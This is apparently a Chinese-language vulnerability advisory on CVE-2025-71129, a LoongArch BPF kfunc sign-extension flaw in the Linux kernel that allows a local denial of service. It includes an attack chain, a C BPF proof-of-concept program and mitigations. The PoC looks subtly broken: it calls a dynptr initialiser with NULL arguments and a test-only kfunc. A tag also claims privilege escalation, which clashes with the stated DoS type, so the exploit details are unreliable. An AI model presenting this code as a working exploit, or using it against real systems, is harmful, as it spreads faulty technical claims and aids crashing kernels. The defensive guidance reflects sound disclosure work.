IPBUF安全漏洞报告
English
CVE-2025-71129 CVSS 5.5 中危

CVE-2025-71129: Linux Kernel LoongArch BPF kfunc参数符号扩展缺失导致内核崩溃

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71129
漏洞类型
内核实现缺陷-拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (LoongArch架构BPF子系统)

相关标签

Linux KernelLoongArchBPFkfunc符号扩展内核崩溃拒绝服务CVE-2025-71129内核漏洞本地提权

漏洞概述

CVE-2025-71129是Linux Kernel中一个影响LoongArch架构的中危漏洞。该漏洞存在于BPF(Berkeley Packet Filter)子系统的kfunc(内核函数调用)功能中。由于kfunc调用未正确遵循LoongArch调用约定,对传入的参数缺少必要的符号扩展处理,可能导致内核在处理这些参数时产生未定义行为。攻击者通过本地低权限账户构造恶意的BPF程序,触发kfunc调用时传入未正确符号扩展的参数,可引发内核崩溃(kernel panic),造成拒绝服务。此漏洞需要攻击者具有本地访问权限和低权限用户身份,无需用户交互即可实施攻击。

技术细节

在Linux Kernel的LoongArch架构实现中,BPF子系统的kfunc调用机制存在缺陷。kfunc(kernel function)是BPF程序调用内核函数的接口,在LoongArch架构上,这些调用需要遵循特定的调用约定,包括对函数参数进行正确的符号扩展。

漏洞的核心问题在于:kfunc调用的参数在传递给内核函数前未经过符号扩展处理。当BPF程序调用kfunc时,如果参数值需要符号扩展(例如负数或高位需要扩展的值),LoongArch架构要求在寄存器或栈上对这些值进行正确的符号扩展。缺失符号扩展会导致:

1. 寄存器值包含错误的符号位
2. 内核函数接收到错误解析的参数值
3. 可能导致内存越界访问或指令流异常
4. 最终触发内核panic或系统崩溃

修复方案引入了emit_abi_ext()辅助函数,该函数专门用于在目标寄存器中直接执行符号扩展操作。这与现有的sign_extend()辅助函数不同,因为emit_abi_ext()是在值已经存储在目标寄存器后进行原地扩展,而非在值传递过程中进行扩展。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地低权限用户访问权限
STEP 2
步骤2
攻击者构造恶意的BPF程序,该程序包含对kfunc的调用,参数值为需要符号扩展的数据(如负数或高位非零的值)
STEP 3
步骤3
在存在漏洞的Linux Kernel(LoongArch架构)上加载并执行该BPF程序
STEP 4
步骤4
BPF运行时调用kfunc时,由于参数未正确符号扩展,LoongArch寄存器接收到错误的数据
STEP 5
步骤5
内核函数接收到错误解析的参数值,导致内存访问异常或指令执行错误
STEP 6
步骤6
内核触发panic,系统崩溃,造成拒绝服务攻击成功

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Linux Kernel LoongArch BPF kfunc Sign Extension Vulnerability // This PoC demonstrates triggering the vulnerability through BPF program // Note: Requires LoongArch architecture and low-privilege local access #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <linux/ptrace.h> // Declare kfunc that will be called extern int bpf_kfunc_call_test(struct bpf_dynptr *ctx, int arg1, int arg2); SEC("tracepoint/syscalls/sys_enter_write") int handle_tp(void *ctx) { struct bpf_dynptr ptr; int arg1, arg2; int result; // Initialize dynptr bpf_dynptr_init(&ptr, NULL, 0, 0); // Craft arguments that require sign extension // These values will trigger improper sign extension if not handled correctly arg1 = 0xFFFFFFFF; // Negative value requiring sign extension arg2 = 0x80000000; // Value needing proper extension on 64-bit register // Call kfunc with crafted arguments // On vulnerable kernel: arguments not properly sign-extended // May cause kernel panic or undefined behavior result = bpf_kfunc_call_test(&ptr, arg1, arg2); return 0; } char LICENSE[] SEC("license") = "GPL";

影响范围

Linux Kernel < 6.13.1 (LoongArch)
Linux Kernel < 6.12.13 (LoongArch)
Linux Kernel < 6.6.86 (LoongArch)

防御指南

临时缓解措施
如果无法立即升级内核,可采取以下缓解措施:1) 限制BPF程序加载权限,确保只有特权用户(如root)能够加载BPF程序;2) 使用seccomp或SELinux/AppArmor等安全模块限制BPF功能;3) 监控系统日志中的kernel panic事件;4) 考虑在LoongArch架构系统上临时禁用不必要的kfunc调用。需要注意的是,这些缓解措施会限制系统功能,最根本的解决方案仍是升级到修复后的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表